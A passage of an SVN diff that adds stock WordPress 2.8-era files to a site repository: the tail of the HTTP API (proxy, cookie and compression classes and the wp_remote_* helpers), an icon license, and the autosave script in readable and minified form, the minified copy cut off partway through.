+ * <li>WP_PROXY_PASSWORD - Proxy password, if it requires authentication.</li>
+ * <li>WP_PROXY_BYPASS_HOSTS - Will prevent the hosts in this list from going through the proxy.
+ * You do not need to have localhost and the blog host in this list, because they will not be passed
+ * through the proxy. The list should be presented in a comma separated list</li>
+ * </ol>
+ *
+ * An example can be as seen below.
+ * <code>
+ * define('WP_PROXY_HOST', '192.168.84.101');
+ * define('WP_PROXY_PORT', '8080');
+ * define('WP_PROXY_BYPASS_HOSTS', 'localhost, www.example.com');
+ * </code>
+ *
+ * @link http://core.trac.wordpress.org/ticket/4011 Proxy support ticket in WordPress.
+ * @since 2.8
+ */
+class WP_HTTP_Proxy {
+
+	/**
+	 * Whether proxy connection should be used.
+	 *
+	 * @since 2.8
+	 * @use WP_PROXY_HOST
+	 * @use WP_PROXY_PORT
+	 *
+	 * @return bool
+	 */
+	function is_enabled() {
+		return defined('WP_PROXY_HOST') && defined('WP_PROXY_PORT');
+	}
+
+	/**
+	 * Whether authentication should be used.
+	 *
+	 * @since 2.8
+	 * @use WP_PROXY_USERNAME
+	 * @use WP_PROXY_PASSWORD
+	 *
+	 * @return bool
+	 */
+	function use_authentication() {
+		return defined('WP_PROXY_USERNAME') && defined('WP_PROXY_PASSWORD');
+	}
+
+	/**
+	 * Retrieve the host for the proxy server.
+	 *
+	 * @since 2.8
+	 *
+	 * @return string
+	 */
+	function host() {
+		if ( defined('WP_PROXY_HOST') )
+			return WP_PROXY_HOST;
+
+		return '';
+	}
+
+	/**
+	 * Retrieve the port for the proxy server.
+	 *
+	 * @since 2.8
+	 *
+	 * @return string
+	 */
+	function port() {
+		if ( defined('WP_PROXY_PORT') )
+			return WP_PROXY_PORT;
+
+		return '';
+	}
+
+	/**
+	 * Retrieve the username for proxy authentication.
+	 *
+	 * @since 2.8
+	 *
+	 * @return string
+	 */
+	function username() {
+		if ( defined('WP_PROXY_USERNAME') )
+			return WP_PROXY_USERNAME;
+
+		return '';
+	}
+
+	/**
+	 * Retrieve the password for proxy authentication.
+	 *
+	 * @since 2.8
+	 *
+	 * @return string
+	 */
+	function password() {
+		if ( defined('WP_PROXY_PASSWORD') )
+			return WP_PROXY_PASSWORD;
+
+		return '';
+	}
+
+	/**
+	 * Retrieve authentication string for proxy authentication.
+	 *
+	 * @since 2.8
+	 *
+	 * @return string
+	 */
+	function authentication() {
+		return $this->username() . ':' . $this->password();
+	}
+
+	/**
+	 * Retrieve header string for proxy authentication.
+	 *
+	 * @since 2.8
+	 *
+	 * @return string
+	 */
+	function authentication_header() {
+		return 'Proxy-Authentication: Basic ' . base64_encode( $this->authentication() );
+	}
+
+	/**
+	 * Whether URL should be sent through the proxy server.
+	 *
+	 * We want to keep localhost and the blog URL from being sent through the proxy server, because
+	 * some proxies can not handle this. We also have the constant available for defining other
+	 * hosts that won't be sent through the proxy.
+	 *
+	 * @uses WP_PROXY_BYPASS_HOSTS
+	 * @since unknown
+	 *
+	 * @param string $uri URI to check.
+	 * @return bool True, to send through the proxy and false if, the proxy should not be used.
+	 */
+	function send_through_proxy( $uri ) {
+		// parse_url() only handles http, https type URLs, and will emit E_WARNING on failure.
+		// This will be displayed on blogs, which is not reasonable.
+		$check = @parse_url($uri);
+
+		// Malformed URL, can not process, but this could mean ssl, so let through anyway.
+		if ( $check === false )
+			return true;
+
+		$home = parse_url( get_option('siteurl') );
+
+		if ( $check['host'] == 'localhost' || $check['host'] == $home['host'] )
+			return false;
+
+		if ( !defined('WP_PROXY_BYPASS_HOSTS') )
+			return true;
+
+		static $bypass_hosts;
+		if ( null == $bypass_hosts )
+			$bypass_hosts = preg_split('|,\s*|', WP_PROXY_BYPASS_HOSTS);
+
+		return !in_array( $check['host'], $bypass_hosts );
+	}
+}
+/**
+ * Internal representation of a single cookie.
+ *
+ * Returned cookies are represented using this class, and when cookies are set, if they are not
+ * already a WP_Http_Cookie() object, then they are turned into one.
+ *
+ * @todo The WordPress convention is to use underscores instead of camelCase for function and method
+ * names. Need to switch to use underscores instead for the methods.
+ *
+ * @package WordPress
+ * @subpackage HTTP
+ * @since 2.8.0
+ * @author Beau Lebens
+ */
+class WP_Http_Cookie {
+
+	/**
+	 * Cookie name.
+	 *
+	 * @since 2.8.0
+	 * @var string
+	 */
+	var $name;
+
+	/**
+	 * Cookie value.
+	 *
+	 * @since 2.8.0
+	 * @var string
+	 */
+	var $value;
+
+	/**
+	 * When the cookie expires.
+	 *
+	 * @since 2.8.0
+	 * @var string
+	 */
+	var $expires;
+
+	/**
+	 * Cookie URL path.
+	 *
+	 * @since 2.8.0
+	 * @var string
+	 */
+	var $path;
+
+	/**
+	 * Cookie Domain.
+	 *
+	 * @since 2.8.0
+	 * @var string
+	 */
+	var $domain;
+
+	/**
+	 * PHP4 style Constructor - Calls PHP5 Style Constructor.
+	 *
+	 * @access public
+	 * @since 2.8.0
+	 * @param string|array $data Raw cookie data.
+	 */
+	function WP_Http_Cookie( $data ) {
+		$this->__construct( $data );
+	}
+
+	/**
+	 * Sets up this cookie object.
+	 *
+	 * The parameter $data should be either an associative array containing the indices names below
+	 * or a header string detailing it.
+	 *
+	 * If it's an array, it should include the following elements:
+	 * <ol>
+	 * <li>Name</li>
+	 * <li>Value - should NOT be urlencoded already.</li>
+	 * <li>Expires - (optional) String or int (UNIX timestamp).</li>
+	 * <li>Path (optional)</li>
+	 * <li>Domain (optional)</li>
+	 * </ol>
+	 *
+	 * @access public
+	 * @since 2.8.0
+	 *
+	 * @param string|array $data Raw cookie data.
+	 */
+	function __construct( $data ) {
+		if ( is_string( $data ) ) {
+			// Assume it's a header string direct from a previous request
+			$pairs = explode( ';', $data );
+
+			// Special handling for first pair; name=value. Also be careful of "=" in value
+			$name  = trim( substr( $pairs[0], 0, strpos( $pairs[0], '=' ) ) );
+			$value = substr( $pairs[0], strpos( $pairs[0], '=' ) + 1 );
+			$this->name  = $name;
+			$this->value = urldecode( $value );
+			array_shift( $pairs ); //Removes name=value from items.
+
+			// Set everything else as a property
+			foreach ( $pairs as $pair ) {
+				if ( empty($pair) ) //Handles the cookie ending in ; which results in a empty final pair
+					continue;
+
+				list( $key, $val ) = explode( '=', $pair );
+				$key = strtolower( trim( $key ) );
+				if ( 'expires' == $key )
+					$val = strtotime( $val );
+				$this->$key = $val;
+			}
+		} else {
+			if ( !isset( $data['name'] ) )
+				return false;
+
+			// Set properties based directly on parameters
+			$this->name   = $data['name'];
+			$this->value  = isset( $data['value'] ) ? $data['value'] : '';
+			$this->path   = isset( $data['path'] ) ? $data['path'] : '';
+			$this->domain = isset( $data['domain'] ) ? $data['domain'] : '';
+
+			if ( isset( $data['expires'] ) )
+				$this->expires = is_int( $data['expires'] ) ? $data['expires'] : strtotime( $data['expires'] );
+			else
+				$this->expires = null;
+		}
+	}
+
+	/**
+	 * Confirms that it's OK to send this cookie to the URL checked against.
+	 *
+	 * Decision is based on RFC 2109/2965, so look there for details on validity.
+	 *
+	 * @access public
+	 * @since 2.8.0
+	 *
+	 * @param string $url URL you intend to send this cookie to
+	 * @return boolean TRUE if allowed, FALSE otherwise.
+	 */
+	function test( $url ) {
+		// Expires - if expired then nothing else matters
+		if ( time() > $this->expires )
+			return false;
+
+		// Get details on the URL we're thinking about sending to
+		$url = parse_url( $url );
+		$url['port'] = isset( $url['port'] ) ? $url['port'] : 80;
+		$url['path'] = isset( $url['path'] ) ? $url['path'] : '/';
+
+		// Values to use for comparison against the URL
+		$path   = isset( $this->path )   ? $this->path   : '/';
+		$port   = isset( $this->port )   ? $this->port   : 80;
+		$domain = isset( $this->domain ) ? strtolower( $this->domain ) : strtolower( $url['host'] );
+		if ( false === stripos( $domain, '.' ) )
+			$domain .= '.local';
+
+		// Host - very basic check that the request URL ends with the domain restriction (minus leading dot)
+		$domain = substr( $domain, 0, 1 ) == '.' ? substr( $domain, 1 ) : $domain;
+		if ( substr( $url['host'], -strlen( $domain ) ) != $domain )
+			return false;
+
+		// Port - supports "port-lists" in the format: "80,8000,8080"
+		if ( !in_array( $url['port'], explode( ',', $port) ) )
+			return false;
+
+		// Path - request path must start with path restriction
+		if ( substr( $url['path'], 0, strlen( $path ) ) != $path )
+			return false;
+
+		return true;
+	}
+
+	/**
+	 * Convert cookie name and value back to header string.
+	 *
+	 * @access public
+	 * @since 2.8.0
+	 *
+	 * @return string Header encoded cookie name and value.
+	 */
+	function getHeaderValue() {
+		if ( empty( $this->name ) || empty( $this->value ) )
+			return '';
+
+		return $this->name . '=' . urlencode( $this->value );
+	}
+
+	/**
+	 * Retrieve cookie header for usage in the rest of the WordPress HTTP API.
+	 *
+	 * @access public
+	 * @since 2.8.0
+	 *
+	 * @return string
+	 */
+	function getFullHeader() {
+		return 'Cookie: ' . $this->getHeaderValue();
+	}
+}
+
+/**
+ * Implementation for deflate and gzip transfer encodings.
+ *
+ * Includes RFC 1950, RFC 1951, and RFC 1952.
+ *
+ * @since 2.8
+ * @package WordPress
+ * @subpackage HTTP
+ */
+class WP_Http_Encoding {
+
+	/**
+	 * Compress raw string using the deflate format.
+	 *
+	 * Supports the RFC 1951 standard.
+	 *
+	 * @since 2.8
+	 *
+	 * @param string $raw String to compress.
+	 * @param int $level Optional, default is 9. Compression level, 9 is highest.
+	 * @param string $supports Optional, not used. When implemented it will choose the right compression based on what the server supports.
+	 * @return string|bool False on failure.
+	 */
+	function compress( $raw, $level = 9, $supports = null ) {
+		return gzdeflate( $raw, $level );
+	}
+
+	/**
+	 * Decompression of deflated string.
+	 *
+	 * Will attempt to decompress using the RFC 1950 standard, and if that fails
+	 * then the RFC 1951 standard deflate will be attempted. Finally, the RFC
+	 * 1952 standard gzip decode will be attempted. If all fail, then the
+	 * original compressed string will be returned.
+	 *
+	 * @since 2.8
+	 *
+	 * @param string $compressed String to decompress.
+	 * @param int $length The optional length of the compressed data.
+	 * @return string|bool False on failure.
+	 */
+	function decompress( $compressed, $length = null ) {
+		$decompressed = gzinflate( $compressed );
+
+		if ( false !== $decompressed )
+			return $decompressed;
+
+		$decompressed = gzuncompress( $compressed );
+
+		if ( false !== $decompressed )
+			return $decompressed;
+
+		if ( function_exists('gzdecode') ) {
+			$decompressed = gzdecode( $compressed );
+
+			if ( false !== $decompressed )
+				return $decompressed;
+		}
+
+		return $compressed;
+	}
+
+	/**
+	 * What encoding types to accept and their priority values.
+	 *
+	 * @since 2.8
+	 *
+	 * @return string Types of encoding to accept.
+	 */
+	function accept_encoding() {
+		$type = array();
+		if ( function_exists( 'gzinflate' ) )
+			$type[] = 'deflate;q=1.0';
+
+		if ( function_exists( 'gzuncompress' ) )
+			$type[] = 'compress;q=0.5';
+
+		if ( function_exists( 'gzdecode' ) )
+			$type[] = 'gzip;q=0.5';
+
+		return implode(', ', $type);
+	}
+
+	/**
+	 * What enconding the content used when it was compressed to send in the headers.
+	 *
+	 * @since 2.8
+	 *
+	 * @return string Content-Encoding string to send in the header.
+	 */
+	function content_encoding() {
+		return 'deflate';
+	}
+
+	/**
+	 * Whether the content be decoded based on the headers.
+	 *
+	 * @since 2.8
+	 *
+	 * @param array|string $headers All of the available headers.
+	 * @return bool
+	 */
+	function should_decode($headers) {
+		if ( is_array( $headers ) ) {
+			if ( array_key_exists('content-encoding', $headers) && ! empty( $headers['content-encoding'] ) )
+				return true;
+		} else if( is_string( $headers ) ) {
+			return ( stripos($headers, 'content-encoding:') !== false );
+		}
+
+		return false;
+	}
+
+	/**
+	 * Whether decompression and compression are supported by the PHP version.
+	 *
+	 * Each function is tested instead of checking for the zlib extension, to
+	 * ensure that the functions all exist in the PHP version and aren't
+	 * disabled.
+	 *
+	 * @since 2.8
+	 *
+	 * @return bool
+	 */
+	function is_available() {
+		return ( function_exists('gzuncompress') || function_exists('gzdeflate') || function_exists('gzinflate') );
+	}
+}
+
+/**
+ * Returns the initialized WP_Http Object
+ *
+ * @since 2.7.0
+ * @access private
+ *
+ * @return WP_Http HTTP Transport object.
+ */
+function &_wp_http_get_object() {
+	static $http;
+
+	if ( is_null($http) )
+		$http = new WP_Http();
+
+	return $http;
+}
+
+/**
+ * Retrieve the raw response from the HTTP request.
+ *
+ * The array structure is a little complex.
+ *
+ * <code>
+ * $res = array( 'headers' => array(), 'response' => array('code' => int, 'message' => string) );
+ * </code>
+ *
+ * All of the headers in $res['headers'] are with the name as the key and the
+ * value as the value. So to get the User-Agent, you would do the following.
+ *
+ * <code>
+ * $user_agent = $res['headers']['user-agent'];
+ * </code>
+ *
+ * The body is the raw response content and can be retrieved from $res['body'].
+ *
+ * This function is called first to make the request and there are other API
+ * functions to abstract out the above convoluted setup.
+ *
+ * @since 2.7.0
+ *
+ * @param string $url Site URL to retrieve.
+ * @param array $args Optional. Override the defaults.
+ * @return WP_Error|array The response or WP_Error on failure.
+ */
+function wp_remote_request($url, $args = array()) {
+	$objFetchSite = _wp_http_get_object();
+	return $objFetchSite->request($url, $args);
+}
+
+/**
+ * Retrieve the raw response from the HTTP request using the GET method.
+ *
+ * @see wp_remote_request() For more information on the response array format.
+ *
+ * @since 2.7.0
+ *
+ * @param string $url Site URL to retrieve.
+ * @param array $args Optional. Override the defaults.
+ * @return WP_Error|array The response or WP_Error on failure.
+ */
+function wp_remote_get($url, $args = array()) {
+	$objFetchSite = _wp_http_get_object();
+	return $objFetchSite->get($url, $args);
+}
+
+/**
+ * Retrieve the raw response from the HTTP request using the POST method.
+ *
+ * @see wp_remote_request() For more information on the response array format.
+ *
+ * @since 2.7.0
+ *
+ * @param string $url Site URL to retrieve.
+ * @param array $args Optional. Override the defaults.
+ * @return WP_Error|array The response or WP_Error on failure.
+ */
+function wp_remote_post($url, $args = array()) {
+	$objFetchSite = _wp_http_get_object();
+	return $objFetchSite->post($url, $args);
+}
+
+/**
+ * Retrieve the raw response from the HTTP request using the HEAD method.
+ *
+ * @see wp_remote_request() For more information on the response array format.
+ *
+ * @since 2.7.0
+ *
+ * @param string $url Site URL to retrieve.
+ * @param array $args Optional. Override the defaults.
+ * @return WP_Error|array The response or WP_Error on failure.
+ */
+function wp_remote_head($url, $args = array()) {
+	$objFetchSite = _wp_http_get_object();
+	return $objFetchSite->head($url, $args);
+}
+
+/**
+ * Retrieve only the headers from the raw response.
+ *
+ * @since 2.7.0
+ *
+ * @param array $response HTTP response.
+ * @return array The headers of the response. Empty array if incorrect parameter given.
+ */
+function wp_remote_retrieve_headers(&$response) {
+	if ( is_wp_error($response) || ! isset($response['headers']) || ! is_array($response['headers']))
+		return array();
+
+	return $response['headers'];
+}
+
+/**
+ * Retrieve a single header by name from the raw response.
+ *
+ * @since 2.7.0
+ *
+ * @param array $response
+ * @param string $header Header name to retrieve value from.
+ * @return string The header value. Empty string on if incorrect parameter given, or if the header doesnt exist.
+ */
+function wp_remote_retrieve_header(&$response, $header) {
+	if ( is_wp_error($response) || ! isset($response['headers']) || ! is_array($response['headers']))
+		return '';
+
+	if ( array_key_exists($header, $response['headers']) )
+		return $response['headers'][$header];
+
+	return '';
+}
+
+/**
+ * Retrieve only the response code from the raw response.
+ *
+ * Will return an empty array if incorrect parameter value is given.
+ *
+ * @since 2.7.0
+ *
+ * @param array $response HTTP response.
+ * @return string the response code. Empty string on incorrect parameter given.
+ */
+function wp_remote_retrieve_response_code(&$response) {
+	if ( is_wp_error($response) || ! isset($response['response']) || ! is_array($response['response']))
+		return '';
+
+	return $response['response']['code'];
+}
+
+/**
+ * Retrieve only the response message from the raw response.
+ *
+ * Will return an empty array if incorrect parameter value is given.
+ *
+ * @since 2.7.0
+ *
+ * @param array $response HTTP response.
+ * @return string The response message. Empty string on incorrect parameter given.
+ */
+function wp_remote_retrieve_response_message(&$response) {
+	if ( is_wp_error($response) || ! isset($response['response']) || ! is_array($response['response']))
+		return '';
+
+	return $response['response']['message'];
+}
+
+/**
+ * Retrieve only the body from the raw response.
+ *
+ * @since 2.7.0
+ *
+ * @param array $response HTTP response.
+ * @return string The body of the response. Empty string if no body or incorrect parameter given.
+ */
+function wp_remote_retrieve_body(&$response) {
+	if ( is_wp_error($response) || ! isset($response['body']) )
+		return '';
+
+	return $response['body'];
+}
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-includes/images/crystal/license.txt
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/images/crystal/license.txt	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/images/crystal/license.txt	(revision 44)
@@ -0,0 +1,9 @@
+Crystal Project Icons
+by Everaldo Coelho
+http://everaldo.com
+
+Released under LGPL
+
+Modified February 2008
+for WordPress
+http://wordpress.org
Index: /trunk/www.guidonia.net/wp/wp-includes/js/autosave.dev.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/autosave.dev.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/autosave.dev.js	(revision 44)
@@ -0,0 +1,261 @@
+var autosave, autosaveLast = '', autosavePeriodical, autosaveOldMessage = '', autosaveDelayPreview = false, notSaved = true;
+
+jQuery(document).ready( function($) {
+	var dotabkey = true;
+	
+	autosaveLast = $('#post #title').val() + $('#post #content').val();
+	autosavePeriodical = $.schedule({time: autosaveL10n.autosaveInterval * 1000, func: function() { autosave(); }, repeat: true, protect: true});
+
+	//Disable autosave after the form has been submitted
+	$("#post").submit(function() { $.cancel(autosavePeriodical); });
+
+	$('.submitbox input[type="submit"], .submitbox a.submitdelete').click(function(){window.onbeforeunload = null;});
+
+	window.onbeforeunload = function(){
+		var mce = typeof(tinyMCE) != 'undefined' ? tinyMCE.activeEditor : false, title, content;
+
+		if ( mce && !mce.isHidden() ) {
+			if ( mce.isDirty() )
+				return autosaveL10n.saveAlert;
+		} else {
+			title = $('#post #title').val(), content = $('#post #content').val();
+			if ( ( title || content ) && title + content != autosaveLast )
+				return autosaveL10n.saveAlert;
+		}
+	};
+
+	// preview
+	$('#post-preview').click(function(){
+		if ( 1 > $('#post_ID').val() && notSaved ) {
+			autosaveDelayPreview = true;
+			autosave();
+			return false;
+		}
+		doPreview();
+		return false;
+	});
+
+	doPreview = function() {
+		$('input#wp-preview').val('dopreview');
+		$('form#post').attr('target', 'wp-preview').submit().attr('target', '');
+		$('input#wp-preview').val('');
+	}
+
+	//  This code is meant to allow tabbing from Title to Post if tinyMCE is defined.
+	if ( typeof tinyMCE != 'undefined' ) {
+		$('#title')[$.browser.opera ? 'keypress' : 'keydown'](function (e) {
+			if ( e.which == 9 && !e.shiftKey && !e.controlKey && !e.altKey ) {
+				if ( ($("#post_ID").val() < 1) && ($("#title").val().length > 0) ) { autosave(); }
+				if ( tinyMCE.activeEditor && ! tinyMCE.activeEditor.isHidden() && dotabkey ) {
+					e.preventDefault();
+					dotabkey = false;
+					tinyMCE.activeEditor.focus();
+					return false;
+				}
+			}
+		});
+	}
+});
+
+function autosave_parse_response(response) {
+	var res = wpAjax.parseAjaxResponse(response, 'autosave'), message = '', postID;
+
+	if ( res && res.responses && res.responses.length ) {
+		message = res.responses[0].data; // The saved message or error.
+		// someone else is editing: disable autosave, set errors
+		if ( res.responses[0].supplemental ) {
+			if ( 'disable' == res.responses[0].supplemental['disable_autosave'] ) {
+				autosave = function() {};
+				res = { errors: true };
+			}
+			jQuery.each(res.responses[0].supplemental, function(selector, value) {
+				if ( selector.match(/^replace-/) ) {
+					jQuery('#'+selector.replace('replace-', '')).val(value);
+				}
+			});
+		}
+
+		// if no errors: add slug UI
+		if ( !res.errors ) {
+			postID = parseInt( res.responses[0].id, 10 );
+			if ( !isNaN(postID) && postID > 0 ) {
+				autosave_update_slug(postID);
+			}
+		}
+	}
+	if ( message ) { jQuery('#autosave').html(message); } // update autosave message
+	else if ( autosaveOldMessage && res ) { jQuery('#autosave').html( autosaveOldMessage ); }
+	return res;
+}
+
+// called when autosaving pre-existing post
+function autosave_saved(response) {
+	autosave_parse_response(response); // parse the ajax response
+	autosave_enable_buttons(); // re-enable disabled form buttons
+}
+
+// called when autosaving new post
+function autosave_saved_new(response) {
+	var res = autosave_parse_response(response), tempID, postID;
+	// if no errors: update post_ID from the temporary value, grab new save-nonce for that new ID
+	if ( res && res.responses.length && !res.errors ) {
+		tempID = jQuery('#post_ID').val();
+		postID = parseInt( res.responses[0].id, 10 );
+		autosave_update_post_ID( postID ); // disabled form buttons are re-enabled here
+		if ( tempID < 0 && postID > 0 ) { // update media buttons
+			notSaved = false;
+			jQuery('#media-buttons a').each(function(){
+				this.href = this.href.replace(tempID, postID);
+			});
+		}
+		if ( autosaveDelayPreview ) {
+			autosaveDelayPreview = false;
+			doPreview();
+		}
+	} else {
+		autosave_enable_buttons(); // re-enable disabled form buttons
+	}
+}
+
+function autosave_update_post_ID( postID ) {
+	if ( !isNaN(postID) && postID > 0 ) {
+		if ( postID == parseInt(jQuery('#post_ID').val(), 10) ) { return; } // no need to do this more than once
+		jQuery('#post_ID').attr({name: "post_ID"});
+		jQuery('#post_ID').val(postID);
+		// We need new nonces
+		jQuery.post(autosaveL10n.requestFile, {
+			action: "autosave-generate-nonces",
+			post_ID: postID,
+			autosavenonce: jQuery('#autosavenonce').val(),
+			post_type: jQuery('#post_type').val()
+		}, function(html) {
+			jQuery('#_wpnonce').val(html);
+			autosave_enable_buttons(); // re-enable disabled form buttons
+		});
+		jQuery('#hiddenaction').val('editpost');
+	}
+}
+
+function autosave_update_slug(post_id) {
+	// create slug area only if not already there
+	if ( jQuery.isFunction(make_slugedit_clickable) && !jQuery('#edit-slug-box > *').size() ) {
+		jQuery.post(
+			slugL10n.requestFile,
+			{
+				action: 'sample-permalink',
+				post_id: post_id,
+				new_title: jQuery('#title').val(),
+				samplepermalinknonce: jQuery('#samplepermalinknonce').val()
+			},
+			function(data) {
+				jQuery('#edit-slug-box').html(data);
+				make_slugedit_clickable();
+			}
+		);
+	}
+}
+
+function autosave_loading() {
+	jQuery('#autosave').html(autosaveL10n.savingText);
+}
+
+function autosave_enable_buttons() {
+	jQuery(".submitbox :button:disabled, .submitbox :submit:disabled").attr('disabled', '');
+}
+
+function autosave_disable_buttons() {
+	jQuery(".submitbox :button:enabled, .submitbox :submit:enabled").attr('disabled', 'disabled');
+	// Re-enable 5 sec later.  Just gives autosave a head start to avoid collisions.
+	setTimeout(autosave_enable_buttons, 5000);
+}
+
+autosave = function() {
+	// (bool) is rich editor enabled and active
+	var rich = (typeof tinyMCE != "undefined") && tinyMCE.activeEditor && !tinyMCE.activeEditor.isHidden(), post_data, doAutoSave, ed, origStatus, successCallback;
+
+	post_data = {
+		action: "autosave",
+		post_ID:  jQuery("#post_ID").val() || 0,
+		post_title: jQuery("#title").val() || "",
+		autosavenonce: jQuery('#autosavenonce').val(),
+		//tags_input: jQuery("#tags-input").val() || "",
+		post_type: jQuery('#post_type').val() || "",
+		autosave: 1
+	};
+
+	jQuery('.tags-input').each( function() {
+		post_data[this.name] = this.value;
+	} );
+
+	// We always send the ajax request in order to keep the post lock fresh.
+	// This (bool) tells whether or not to write the post to the DB during the ajax request.
+	doAutoSave = true;
+
+	// No autosave while thickbox is open (media buttons)
+	if ( jQuery("#TB_window").css('display') == 'block' )
+		doAutoSave = false;
+
+	/* Gotta do this up here so we can check the length when tinyMCE is in use */
+	if ( rich ) {
+		ed = tinyMCE.activeEditor;
+		if ( 'mce_fullscreen' == ed.id )
+			tinyMCE.get('content').setContent(ed.getContent({format : 'raw'}), {format : 'raw'});
+		tinyMCE.get('content').save();
+	}
+
+	post_data["content"] = jQuery("#content").val();
+	if ( jQuery('#post_name').val() )
+		post_data["post_name"] = jQuery('#post_name').val();
+
+	// Nothing to save or no change.
+	if( ( post_data["post_title"].length == 0 && post_data["content"].length == 0 ) || post_data["post_title"] + post_data["content"] == autosaveLast) {
+		doAutoSave = false;
+	}
+
+	autosave_disable_buttons();
+
+	origStatus = jQuery('#original_post_status').val();
+
+	autosaveLast = jQuery("#title").val()+jQuery("#content").val();
+	goodcats = ([]);
+	jQuery("[name='post_category[]']:checked").each( function(i) {
+		goodcats.push(this.value);
+	} );
+	post_data["catslist"] = goodcats.join(",");
+
+	if ( jQuery("#comment_status").attr("checked") )
+		post_data["comment_status"] = 'open';
+	if ( jQuery("#ping_status").attr("checked") )
+		post_data["ping_status"] = 'open';
+	if ( jQuery("#excerpt").size() )
+		post_data["excerpt"] = jQuery("#excerpt").val();
+	if ( jQuery("#post_author").size() )
+		post_data["post_author"] = jQuery("#post_author").val();
+	post_data["user_ID"] = jQuery("#user-id").val();
+
+	// Don't run while the TinyMCE spellcheck is on. It resets all found words.
+	if ( rich && tinyMCE.activeEditor.plugins.spellchecker && tinyMCE.activeEditor.plugins.spellchecker.active ) {
+		doAutoSave = false;
+	}
+
+	if ( parseInt(post_data["post_ID"], 10) < 1 ) {
+		post_data["temp_ID"] = post_data["post_ID"];
+		successCallback = autosave_saved_new; // new post
+	} else {
+		successCallback = autosave_saved; // pre-existing post
+	}
+
+	if ( !doAutoSave ) {
+		post_data['autosave'] = 0;
+	}
+
+	autosaveOldMessage = jQuery('#autosave').html();
+
+	jQuery.ajax({
+		data: post_data,
+		beforeSend: doAutoSave ? autosave_loading : null,
+		type: "POST",
+		url: autosaveL10n.requestFile,
+		success: successCallback
+	});
+}
Index: /trunk/www.guidonia.net/wp/wp-includes/js/autosave.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/autosave.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/autosave.js	(revision 44)
@@ -0,0 +1,1 @@
+var autosave,autosaveLast="",autosavePeriodical,autosaveOldMessage="",autosaveDelayPreview=false,notSaved=true;jQuery(document).ready(function(b){var a=true;autosaveLast=b("#post #title").val()+b("#post #content").val();autosavePeriodical=b.schedule({time:autosaveL10n.autosaveInterval*1000,func:function(){autosave()},repeat:true,protect:true});b("#post").submit(function(){b.cancel(autosavePeriodical)});b('.submitbox input[type="submit"], .submitbox a.submitdelete').click(function(){window.onbeforeunload=null});window.onbeforeunload=function(){var c=typeof(tinyMCE)!="undefined"?tinyMCE.activeEditor:false,e,d;if(c&&!c.isHidden()){if(c.isDirty()){return autosaveL10n.saveAlert}}else{e=b("#post #title").val(),d=b("#post #content").val();if((e||d)&&e+d!=autosaveLast){return autosaveL10n.saveAlert}}};b("#post-preview").click(function(){if(1>b("#post_ID").val()&&notSaved){autosaveDelayPreview=true;autosave();return false}doPreview();return false});doPreview=function(){b("input#wp-preview").val("dopreview");b("form#post").attr("target","wp-preview").submit().attr("target","");b("input#wp-preview").val("")};if(typeof tinyMCE!="undefined"){b("#title")[b.browser.opera?"keypress":"keydown"](function(c){if(c.which==9&&!c.shiftKey&&!c.controlKey&&!c.altKey){if((b("#post_ID").val()<1)&&(b("#title").val().length>0)){autosave()}if(tinyMCE.activeEditor&&!tinyMCE.activeEditor.isHidden()&&a){c.preventDefault();a=false;tinyMCE.activeEditor.focus();return false}}})}});function autosave_parse_response(b){var c=wpAjax.parseAjaxResponse(b,"autosave"),d="",a;if(c&&c.responses&&c.responses.length){d=c.responses[0].data;if(c.responses[0].supplemental){if("disable"==c.responses[0].supplemental.disable_autosave){autosave=function(){};c={errors:true}}jQuery.each(c.responses[0].supplemental,function(e,f){if(e.match(/^replace-/)){jQuery("#"+e.replace("replace-","")).val(f)}})}if(!c.errors){a=parseInt(c.responses[0].id,10);if(!isNaN(a)&&a>0){autosave_update_slug(a)}}}if(d){jQuery("#autosave").html(d)}else{if(autosaveOldMessage&&c){jQuery("#autosave").html(autosaveOldMessage)}}return c}function autosave_saved(a){autosave_parse_response(a);autosave_enable_buttons()}function autosave_saved_new(b){var d=autosave_parse_response(b),c,a;if(d&&d.responses.length&&!d.errors){c=jQuery("#post_ID").val();a=parseInt(d.responses[0].id,10);autosave_update_post_ID(a);if(c<0&&a>0){notSaved=false;jQuery("#media-buttons a").each(function(){this.href=this.href.replace(c,a)})}if(autosaveDelayPreview){autosaveDelayPreview=false;doPreview()}}else{autosave_enable_buttons()}}function autosave_update_post_ID(a){if(!isNaN(a)&&a>0){if(a==parseInt(jQuery("#post_ID").val(),10)){return}jQuery("#post_ID").attr({name:"post_ID"});jQuery("#post_ID").val(a);jQuery.post(autosaveL10n.requestFile,{action:"autosave-generate-nonces",post_ID:a,autosavenonce:jQuery("#autosavenonce").val(),post_type:jQuery("#post_type").val()},function(b){jQuery("#_wpnonce").val(b);autosave_enable_buttons()});jQuery("#hiddenaction").val("editpost")}}function autosave_update_slug(a){if(jQuery.isFunction(make_slugedit_clickable)&&!jQuery("#edit-slug-box > *").size()){jQuery.post(slugL10n.requestFile,{action:"sample-permalink",post_id:a,new_title:jQuery("#title").val(),samplepermalinknonce:jQuery("#samplepermalinknonce").val()},function(b){jQuery("#edit-slug-box").html(b);make_slugedit_clickable()})}}function autosave_loading(){jQuery("#autosave").html(autosaveL10n.savingText)}function autosave_enable_buttons(){jQuery(".submitbox :button:disabled, .submitbox :submit:disabled").attr("disabled","")}function autosave_disable_buttons(){jQuery(".submitbox :button:enabled, .submitbox :submit:enabled").attr("disabled","disabled");setTimeout(autosave_enable_buttons,5000)}autosave=function(){var c=(typeof 